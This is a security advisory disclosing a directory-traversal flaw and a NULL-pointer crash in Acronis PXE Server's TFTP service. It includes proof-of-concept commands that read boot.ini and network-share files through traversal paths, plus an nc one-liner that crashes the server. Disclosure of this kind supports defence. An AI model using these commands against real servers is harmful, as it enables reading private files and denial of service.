Directory traversal and NULL pointer in Acronis PXE Server 2.0.0.1076

[Luigi Auriemma <aluigi () autistici org>]

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                             Luigi Auriemma

Application:  Acronis PXE Server
              http://www.acronis.com/enterprise/products/snapdeploy/
Versions:     <= 2.0.0.1076
Platforms:    Windows
Bugs:         A] directory traversal
              B] NULL pointer
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi () autistici org
              web:    aluigi.org


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1) Introduction
2) Bugs
3) The Code
4) Fix


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===============
1) Introduction
===============


The Acronis PXE Server is an essential component of Acronis Snap Deploy
Server, a deployment solution for automatically configuring all the
clients of the local network.


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2) Bugs
=======

----------------------
A] directory traversal
----------------------

The PXE Server (pxesrv.exe) implements a TFTP server for allowing the
downloading of the bootstrap files (uploading is not allowed).
This service is vulnerable to a classical directory traversal and an
arbitrary path attacks which allow an attacker to download any file
from the local disks or the network shares.


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B] NULL pointer
---------------

An incomplete TFTP request (anything which goes from the simple absence
of the option field to the usage of only the 2 bytes for the opcode)
causes the crashing of the PXE Server due to a NULL pointer access.


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===========
3) The Code
===========


A]
http://aluigi.org/testz/tftpx.zip

  tftpx SERVER ..\../..\../boot.ini none
  tftpx SERVER c:\boot.ini none
  tftpx SERVER \\internal_host\documents\file.txt none

B]
send the bytes 00 01 to UDP port 69 of the server:

  echo -n -e \x00\x01|nc SERVER 69 -v -v -u



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4) Fix
======


No fix


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--- 
Luigi Auriemma
http://aluigi.org